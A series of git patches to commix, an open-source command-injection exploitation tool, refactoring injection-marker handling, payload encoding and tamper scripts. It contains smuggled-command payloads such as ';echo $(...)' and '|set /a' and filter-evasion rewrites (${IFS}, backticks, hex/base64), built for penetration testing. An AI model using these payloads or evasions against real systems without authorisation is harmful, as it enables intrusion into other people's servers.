settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TEST_PARAMETER) != 0 or \ menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ @@ -119,10 +120,15 @@ def multi_params_get_value(parameter): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameters = parameters.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters - url = url.replace(settings.RANDOM_TAG, "") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) return urls_list else: @@ -156,14 +162,15 @@ def multi_params_get_value(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG, "") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) else: for param in range(0,len(multi_parameters)): @@ -363,10 +370,16 @@ def json_format(parameter): else: parameter = parameter + settings.INJECT_TAG else: - parameter = parameter.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameter = parameter.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + parameter = parameter.replace(value, value + settings.INJECT_TAG) + if settings.IS_JSON: parameter = json_int_check(parameter, value) - parameter = parameter.replace(settings.RANDOM_TAG, "") + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return parameter else: for param in range(0, len(multi_parameters)): @@ -417,17 +430,18 @@ def json_format(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) if settings.IS_JSON and len(all_params[param].split("\":")) == 2: check_parameter = all_params[param].split("\":")[0] if settings.INJECT_TAG in check_parameter: - all_params[param] = all_params[param].replace(check_parameter,check_parameter.replace(settings.INJECT_TAG, "")) + all_params[param] = all_params[param].replace(check_parameter, check_parameter.replace(settings.INJECT_TAG, "")) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG, "") + parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if settings.IS_JSON: if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]: parameter = parameter.replace(value, value + settings.INJECT_TAG) @@ -597,8 +611,14 @@ def multi_params_get_value(parameter): if len(value) == 0: cookie = cookie + settings.INJECT_TAG else: - cookie = cookie.replace(value, value + settings.INJECT_TAG) - cookie = cookie.replace(settings.RANDOM_TAG, "") + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + cookie = cookie.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + cookie = cookie.replace(value, value + settings.INJECT_TAG) + + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return cookie # Check if multiple parameters are supplied. @@ -633,12 +653,13 @@ def multi_params_get_value(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) - cookie = cookie.replace(settings.RANDOM_TAG, "") + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list diff --git a/src/utils/settings.py b/src/utils/settings.py index 14574d4106..80abfb0b7d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,6 +363,7 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False +USER_DEFINED_URL_DATA = True # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -375,7 +376,14 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" -SKIP_NON_CUSTOM = False +class INJECTION_MARKER_LOCATION(object): + URL = False + DATA = False + COOKIE = False + HTTP_HEADERS = False + CUSTOM_HTTP_HEADERS = False + +SKIP_NON_CUSTOM = None # Testable parameter(s) - comma separated. TEST_PARAMETER = "" @@ -490,6 +498,7 @@ class OS(object): SUFFIXES_LVL2 = SEPARATORS_LVL1 SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] + # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] From 2253472b64f65a11794adfd4fbccd649e56a8772 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Jun 2024 07:21:28 +0300 Subject: [PATCH 0468/1023] Update regarding loading tamper scripts --- src/core/injections/controller/checks.py | 78 +++++++++++++++--------- src/core/requests/parameters.py | 1 - src/utils/settings.py | 2 +- 3 files changed, 50 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index af409e9f7f..186ca2948e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1418,7 +1418,7 @@ def tamper_scripts(stored_tamper_scripts): print(settings.print_critical_msg(err_msg)) raise SystemExit() if not stored_tamper_scripts: - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " + info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: @@ -1633,27 +1633,33 @@ def check_quotes(payload): menu.options.tamper = "singlequotes" """ -Recognise the payload. +Check for applied (hex / b64) encoders. """ -def recognise_payload(payload): - if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TAMPER_SCRIPTS['sleep2usleep']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2usleep" - else: - menu.options.tamper = "sleep2usleep" - - elif "timeout" in payload: - if not settings.TAMPER_SCRIPTS['sleep2timeout']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",sleep2timeout" - else: - menu.options.tamper = "sleep2timeout" - +def check_encoders(payload): is_decoded = False encoded_with = "" check_value = payload + settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD)) + for encode_type in settings.MULTI_ENCODED_PAYLOAD: + if encode_type == 'base64encode' or encode_type == 'hexencode': + while True: + message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Unloading the '" + encode_type + "' tamper script." + print(settings.print_debug_msg(debug_msg)) + settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ not re.match(settings.HEX_RECOGNITION_REGEX, check_value): @@ -1687,30 +1693,24 @@ def recognise_payload(payload): encoded_with = "base64" except Exception: pass - else: decoded_payload = payload if len(encoded_with) != 0: is_decoded = True - for encode_type in settings.MULTI_ENCODED_PAYLOAD: - # Encode payload to base64 format. - if encode_type == 'base64encode': - base64_output(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - hex_output(payload) - if is_decoded: while True: - message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. " - message += "Do you want to process it encoded? [Y/n] > " + message = "The provided value appears to be " + encoded_with + "-encoded. " + message += "Do you want to use '" + encoded_with + "encode' tamper script? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break elif procced_option in settings.CHOICE_NO: - settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." + print(settings.print_debug_msg(debug_msg)) break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1723,6 +1723,26 @@ def recognise_payload(payload): else: return payload, encoded_with +""" +Recognise the payload. +""" +def recognise_payload(payload): + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['sleep2usleep']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",sleep2usleep" + else: + menu.options.tamper = "sleep2usleep" + + elif "timeout" in payload: + if not settings.TAMPER_SCRIPTS['sleep2timeout']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",sleep2timeout" + else: + menu.options.tamper = "sleep2timeout" + + return check_encoders(payload) + """ Check for stored payloads and enable tamper scripts. """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 0520fa02d6..2f2b0fff02 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -449,7 +449,6 @@ def json_format(parameter): if type(parameter) != list: parameters_list.append(parameter) parameter = parameters_list - else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. diff --git a/src/utils/settings.py b/src/utils/settings.py index 80abfb0b7d..c412a3a6b8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d549ffd5d08db950bf9dd429b7f588e4c04abb7e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Jun 2024 08:52:27 +0300 Subject: [PATCH 0469/1023] Additional update regarding commit: https://github.com/commixproject/commix/commit/2253472b64f65a11794adfd4fbccd649e56a8772 --- src/core/injections/controller/checks.py | 9 ++++ src/core/injections/controller/controller.py | 57 ++++++++++---------- src/core/main.py | 2 +- src/core/tamper/backticks.py | 11 ++-- src/core/tamper/multiplespaces.py | 9 ++-- src/core/tamper/space2ifs.py | 5 +- src/utils/settings.py | 4 +- 7 files changed, 60 insertions(+), 37 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 186ca2948e..67bd226f79 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1763,6 +1763,12 @@ def perform_payload_modification(payload): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Reverses (characterwise) the user-supplied operating system commands + if mod_type == 'backticks': + from src.core.tamper import backticks + payload = backticks.tamper(payload) + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'rev': @@ -1834,6 +1840,9 @@ def perform_payload_modification(payload): if space_mod == 'space2vtab': from src.core.tamper import space2vtab payload = space2vtab.tamper(payload) + if space_mod == 'multiplespaces': + from src.core.tamper import multiplespaces + payload = multiplespaces.tamper(payload) for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Encode payload to hex format. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8fedf901ee..6554942745 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -74,24 +74,25 @@ def check_for_stored_levels(url, http_request_method): """ Heuristic request(s) """ -def heuristic_request(url, http_request_method, check_parameter, payload): +def heuristic_request(url, http_request_method, check_parameter, payload, whitespace): data = None cookie = None tmp_url = url payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if not any((settings.IS_JSON, settings.IS_XML)): - payload = _urllib.parse.quote(payload) data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) @@ -116,27 +117,28 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS settings.CLASSIC_STATE = True try: - whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: - _ = 0 - for payload in basic_payloads: - _ = _ + 1 - response = heuristic_request(url, http_request_method, check_parameter, payload) - if type(response) is not bool and response is not None: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) - if match: - settings.IDENTIFIED_COMMAND_INJECTION = True - possible_os = ('Unix-like', 'Windows')[_ != 1] - if settings.OS.UNIX.lower() in possible_os.lower(): - settings.TARGET_OS = settings.OS.UNIX - else: - settings.TARGET_OS = settings.OS.WINDOWS - info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." - print(settings.print_bold_info_msg(info_msg)) - settings.SKIP_CODE_INJECTIONS = True - break + checks.perform_payload_modification(payload="") + for whitespace in settings.WHITESPACES: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + _ = 0 + for payload in basic_payloads: + _ = _ + 1 + response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + if type(response) is not bool and response is not None: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + possible_os = ('Unix-like', 'Windows')[_ != 1] + if settings.OS.UNIX.lower() in possible_os.lower(): + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS + info_msg = "Heuristic (basic) tests shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." + print(settings.print_bold_info_msg(info_msg)) + settings.SKIP_CODE_INJECTIONS = True + break settings.CLASSIC_STATE = False return url @@ -155,9 +157,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: + whitespace = settings.SINGLE_WHITESPACE if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - response = heuristic_request(url, http_request_method, check_parameter, payload) + response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -297,7 +300,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - checks.tamper_scripts(stored_tamper_scripts=False) + # checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" if not header_name == settings.COOKIE and not the_type == "HTTP header": diff --git a/src/core/main.py b/src/core/main.py index 3172e95416..5141ec6d28 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -534,7 +534,7 @@ def main(filename, url, http_request_method): # Load tamper scripts if menu.options.tamper: settings.USER_SUPPLIED_TAMPER = menu.options.tamper - # checks.tamper_scripts(stored_tamper_scripts=False) + checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 203e8e3098..45f29695fe 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import sys from src.utils import settings """ @@ -23,7 +22,13 @@ __tamper__ = "backticks" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.USE_BACKTICKS = True +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + settings.USE_BACKTICKS = True + payload = payload.replace("$((", "`expr ").replace("))", "`") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 636eb115dc..2e4acc3b6a 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -23,7 +23,10 @@ __tamper__ = "multiplespaces" -settings.TAMPER_SCRIPTS[__tamper__] = True -settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) - +def tamper(payload): + if not (settings.TAMPER_SCRIPTS[__tamper__]): + settings.TAMPER_SCRIPTS[__tamper__] = True + for i in range(0, len(settings.WHITESPACES)): + settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8) + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index fd61c22fcf..3d459537fc 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -25,10 +25,13 @@ __tamper__ = "space2ifs" space2ifs = "${IFS}" +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(payload): if space2ifs in settings.WHITESPACES[0] and \ settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = r"\${IFS}" + settings.WHITESPACES[0] = space2ifs if settings.TARGET_OS != settings.OS.WINDOWS: settings.TAMPER_SCRIPTS[__tamper__] = True if settings.WHITESPACES[0] == "%20": diff --git a/src/utils/settings.py b/src/utils/settings.py index c412a3a6b8..e7b1bce6c4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "72" +REVISION = "73" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -321,7 +321,7 @@ class HEURISTIC_TEST(object): #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) -CALC_STRING = str(RAND_A) + "+" + str(RAND_B) +CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING From 0e0f470ca4749a1eb386a02635154f1f17f700d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Jun 2024 07:48:37 +0300 Subject: [PATCH 0470/1023] Minor update --- src/core/injections/controller/checks.py | 9 +++++++++ src/core/injections/controller/controller.py | 3 +-- src/core/requests/requests.py | 5 ++--- src/utils/settings.py | 8 ++++---- 4 files changed, 16 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 67bd226f79..7aff601dde 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -100,6 +100,15 @@ def injection_techniques_status(): def quoted_value(value): return '"{}"'.format(value) +""" +Payload fixation +""" +def payload_fixation(payload): + + payload = _urllib.parse.unquote(payload) + payload = _urllib.parse.quote(payload) + return payload + """ Check for non custom parameters. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6554942745..350beaa4e9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -84,9 +84,8 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - payload = _urllib.parse.unquote(payload) - payload = _urllib.parse.quote(payload) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + payload = checks.payload_fixation(payload) cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ab042ae369..9215b33ae7 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -430,8 +430,6 @@ def get_request_response(request): def cookie_injection(url, vuln_parameter, payload, http_request_method): def inject_cookie(url, vuln_parameter, payload, http_request_method): - if settings.TIME_RELATIVE_ATTACK : - payload = _urllib.parse.quote(payload) # Check if defined POST data if settings.USER_DEFINED_POST_DATA: @@ -442,7 +440,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - payload = payload.replace("+", "%2B") + payload = checks.payload_fixation(payload) + # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e7b1bce6c4..8a3a21c6dc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "73" +REVISION = "74" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -323,11 +323,11 @@ class HEURISTIC_TEST(object): RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", - "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26echo $(" + BASIC_STRING + ")|echo $(" + BASIC_STRING + ")" + RANDOM_STRING_GENERATOR , + "|set /a " + BASIC_STRING + "%26set /a " + BASIC_STRING ] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")|echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) From 1a2a6327cb5e3a13ae5c77be7e454fdcf5daa328 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Jun 2024 08:47:19 +0300 Subject: [PATCH 0471/1023] Code refactoring --- src/core/injections/controller/checks.py | 24 +-- src/core/injections/controller/controller.py | 193 ++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 86 insertions(+), 133 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7aff601dde..a0b5862e37 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -145,31 +145,23 @@ def process_custom_injection_data(data): data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - # data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - # if settings.INJECT_TAG in data: - # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) - # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) - # if ''.join(settings.CUSTOM_INJECTION_MARKER_DATA).count(settings.INJECT_TAG) > 1: - # err_msg = "More than one custom injection markers ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in the provided data. " - # err_msg += "You can use the '-p' option, to define them (i.e -p \"id1,id2\"). " - # print(settings.print_critical_msg(err_msg)) - # raise SystemExit() - + return data """ Check for custom injection marker character ('*'). """ def custom_injection_marker_character(url, http_request_method): + _ = False if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True - if menu.options.data: - settings.IGNORE_USER_DEFINED_POST_DATA = True - elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True + # if menu.options.data: + # settings.IGNORE_USER_DEFINED_POST_DATA = True + if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True - else: + _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True + if not _: option = "option 